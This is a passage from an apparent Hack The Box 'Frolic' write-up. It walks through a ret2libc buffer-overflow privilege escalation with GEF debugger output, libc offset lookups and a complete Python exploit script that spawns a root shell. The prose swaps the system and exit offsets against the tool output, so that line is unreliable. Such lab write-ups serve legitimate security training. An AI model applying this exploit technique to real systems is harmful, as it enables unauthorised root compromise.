$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ stack ââââ
0xffffd330â+0x0000: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa" â $esp
0xffffd334â+0x0004: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd338â+0x0008: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd33câ+0x000c: "raaasaaataaauaaavaaawaaaxaaayaaa"
0xffffd340â+0x0010: "saaataaauaaavaaawaaaxaaayaaa"
0xffffd344â+0x0014: "taaauaaavaaawaaaxaaayaaa"
0xffffd348â+0x0018: "uaaavaaawaaaxaaayaaa"
0xffffd34câ+0x001c: "vaaawaaaxaaayaaa"
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ code:x86:32 ââââ
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616e
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ
[#0] Id 1, Name: "rop", stopped 0x6161616e in ?? (), reason: SIGSEGV
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
As we see, the EIP has the vale naaa
. With that value, we could see that the offset is 52.
gef⤠pattern offset $eip
Copy [+] Searching for '$eip'
[+] Found at offset 52 (little-endian search) likely
[+] Found at offset 49 (big-endian search)
Now, as I have control of the EIP, I could fill it with B characters.
gef⤠r $(python -c "print('A'*52+'B'*4)")
Copy [ Legend: Modified register | Code | Heap | Stack | String ]
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ registers ââââ
$eax : 0x38
$ebx : 0xffffd390 â 0x00000002
$ecx : 0xf7fa1ff4 â 0x001ead6c
$edx : 0x0
$esp : 0xffffd360 â 0xffffd500 â 0x00000010
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x2
$edi : 0x80483a0 â <_start+0> xor ebp, ebp
$eip : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ stack ââââ
0xffffd360â+0x0000: 0xffffd500 â 0x00000010 â $esp
0xffffd364â+0x0004: 0xffffd434 â 0xffffd5ba â "/home/alfa8sa/HTB/machines/frolic/rop"
0xffffd368â+0x0008: 0xffffd440 â 0xffffd619 â "COLORTERM=truecolor"
0xffffd36câ+0x000c: 0x8048561 â <__libc_csu_init+33> lea eax, [ebx-0xf8]
0xffffd370â+0x0010: 0xffffd390 â 0x00000002
0xffffd374â+0x0014: 0x00000000
0xffffd378â+0x0018: 0x00000000
0xffffd37câ+0x001c: 0xf7dd2905 â <__libc_start_main+229> add esp, 0x10
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ code:x86:32 ââââ
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ threads ââââ
[#0] Id 1, Name: "rop", stopped 0x42424242 in ?? (), reason: SIGSEGV
âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ trace ââââ
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
To exploit Return to Libc , and be able to spawn a shell as root, we'll need the system
address, the exit
address, the /bin/bash
address and the base_libc
address. First, we could get the base_libc
address from the victim machine, which is 0xb7e19000
in this case.
ldd nop
Copy linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
We can see that the offset of the system
and exit
functions are 0x0002e9d0
and 0x0003ada0
.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E " system@@| exit@@"
-s display the symbol table .
Copy 141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
Finally, we'll need the offset of the /bin/sh
function, which is 0x0015ba0b
.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
-t x
print the location of the string in base 16 .
Now, that I have the function's offset and the base_lib
address, I can calculate the system
, exit
and /bin/sh
addresses by adding the offset to the base_lib
address.
The final payload will be the initial 52 A
characters, the system
address, the exit
address and the /bin/sh
address. The following script will calculate all the addresses, execute the rop
binary giving the final payload as an argument, and it should spawn a shell as root.
Copy #!/usr/bin/python
from struct import pack
from subprocess import call
import sys
junk = "A" * 52
# ret2libc -> system_addr + exit_addr + bin_sh_addr
base_libc = 0xb7e19000
system_addr_off = 0x0003ada0
exit_addr_off = 0x0002e9d0
bin_sh_addr_off = 0x0015ba0b
system_addr = pack("<I", base_libc + system_addr_off)
exit_addr = pack("<I", base_libc + exit_addr_off)
bin_sh_addr = pack("<I", base_libc + bin_sh_addr_off)
payload = junk + system_addr + exit_addr + bin_sh_addr
ret = call(["/home/ayush/.binary/rop", payload])
If we execute the script, we should get a shell as root , and then all we have to do is reap the harvest and take the root flag.
python /tmp/privEsc/bof.py
Copy # whoami
root
# cat /root/root.txt
85d3fdf03f969892538ba9a731826222